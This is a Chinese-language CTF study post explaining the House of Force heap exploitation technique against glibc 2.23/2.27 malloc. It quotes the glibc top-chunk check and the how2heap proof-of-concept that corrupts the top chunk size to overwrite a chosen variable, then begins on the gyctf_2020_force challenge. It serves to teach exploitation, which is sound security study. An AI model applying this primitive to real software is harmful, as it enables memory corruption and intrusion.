House of force以及相关例题学习

发布时间 2023-10-22 08:48:09作者: ModesL
学习于:

(1)https://bbs.kanxue.com/thread-262114.htm

(2):https://www.cnblogs.com/ZIKH26/articles/16533388.html

以及经典的wiki:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-force/

(可能我的文章会与他们有部分重合因为我是一步步跟着调试进行,如有问题请联系我)

前言:

House of force是一种基于top chunk的攻击手法,是利用glibc2.23以及2.27对top chunk进行size的合法检查的漏洞演变而来的,如果malloc函数执行时发现没有任何的bins中的堆块能够满足需求,就会从top chunk中切下一块内存返回给malloc,如果我们可以修改top chunk的size那么我们就可以将top chunk的大小修改至任意位置,再申请就相当于是任意位置读写了

对top chunk的size位的检查的相关代码如下:

 1 // 获取当前的top chunk,并计算其对应的大小
 2 victim = av->top;
 3 size   = chunksize(victim);
 4 // 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
 5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
 6 {
 7     remainder_size = size - nb;
 8     remainder      = chunk_at_offset(victim, nb);
 9     av->top        = remainder;
10     set_head(victim, nb | PREV_INUSE |
11             (av != &main_arena ? NON_MAIN_ARENA : 0));
12     set_head(remainder, remainder_size | PREV_INUSE);
13 
14     check_malloced_chunk(av, victim, nb);
15     void *p = chunk2mem(victim);
16     alloc_perturb(p, bytes);
17     return p;
18 }

 

可以看到这一句比较语句

5 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 

 

size是一个((unsigned long) (size),如果我们给他修改成为-1,那么是不是就可以让size变成一个无限大的数字就可以通过比较了

how2heap例子:

 1 //patchelf --set-interpreter /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./force
 2 //patchelf --set-rpath /home/yic/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./force 
 3 //gcc -g force.c -no-pie -o force 
 4 #include <stdio.h>
 5 #include <stdint.h>
 6 #include <stdlib.h>
 7 #include <string.h>
 8 #include <stdint.h>
 9 #include <malloc.h>
10 char bss_var[] = "This is a string that we want to overwrite.";
11 
12 int main(int argc , char* argv[])
13 {
14     fprintf(stderr, "\n欢迎学习 House of Force\n\n");
15     fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
16     fprintf(stderr, "top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");
17 
18     fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var);
19     fprintf(stderr, "现在变量值是:%s\n", bss_var);
20 
21     fprintf(stderr, "\n先分配一个 chunk.\n");
22     intptr_t *p1 = malloc(256);
23     fprintf(stderr, "malloc(256) 的地址: %p.\n", p1 - 2);
24 
25     fprintf(stderr, "\n现在有两块,一个我们申请的,一个 top chunk.\n");
26     int real_size = malloc_usable_size(p1);
27     fprintf(stderr, "我们申请的 chunk 加上 chunk 头,大小是:%ld.\n", real_size + sizeof(long)*2);
28 
29     fprintf(stderr, "\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n");
30 
31     intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
32     fprintf(stderr, "\ntop chunk 起始地址是:%p\n", ptr_top);
33 
34     fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
35     fprintf(stderr, "top chunk 之前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
36     *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
37     fprintf(stderr, "top chunk 现在的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
38 
39     fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n");
40 
41     /*
42 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
43 * new_top = old_top + nb
44 * nb = new_top - old_top
45 * req + 2sizeof(long) = new_top - old_top
46 * req = new_top - old_top - 2sizeof(long)
47 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
48 * req = dest - old_top - 4*sizeof(long)
49 */
50     unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
51     fprintf(stderr, "\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
52     void *new_ptr = malloc(evil_size);
53     fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);
54 
55     void* ctr_chunk = malloc(100);
56     fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
57     fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
58     fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n");
59 
60     fprintf(stderr, "... 之前内容是: %s\n", bss_var);
61     fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n");
62     strcpy(ctr_chunk, "YEAH!!!");
63     fprintf(stderr, "... 新的内容: %s\n", bss_var);
64     // some further discussion:
65     //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
66     //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
67     //  "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
68     //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
69     //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
70     //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
71     //  "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
72 
73     //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
74     //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
75 
76     //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
77 }

首先将断点下载第28行,申请了一个chunk,发现topchunk的位置是0x405110

再将断点下在38行,用-1进行绕过检查,将top chunk的size变成很大的数值

 36 *(intptr_t *)((char *)ptr_top + sizeof(long)) =-1;

 假设我们想要让 new_top的地址 到 0x404060,现在要让0x404060-0x20 =old_top的地址(0x405110) + size ,所以这个 size 应该是 0x404040-0x405110=0xffffffffffffef30,

也就是说只要申请 0xffffffffffffef30 大小的 chunk 就能把 top chunk的地址改到0x404060-0x10,然后我们再申请一个chunk的时候就是 0x404060 了

至于为什么减去了0x20呢,我们想要申请到 0x404060 的时候要留出它的 chunk 头有 0x10的大小, 这就是说 0x404060-0x10 = old_top+size,即 size = 0x404060-0x10 - old_top,但是还要注意,我们去malloc的时的 size 的时候实际上申请的是 size+0x10 大小的 chunk,还要把这个 0x10 留出来,则就是最后就是减去0x20(32位程序是减去0x10)

例题:gyctf_2020_force

一道很看起来很简略的题目,我修改了一些函数名和变量名令程序好看一些

main函数:

add函数:

put函数:

 你会发现,根本没有free函数,乐了,而且题目也给提示了,这题可以使用HOF,我们可以看到add函数中

我们可以申请任意大小的chunk却可以输入固定大小0x50字节的内容,如果我们申请小于0x50大小的chunk就可以造成溢出,具体的过程等调试完后继续写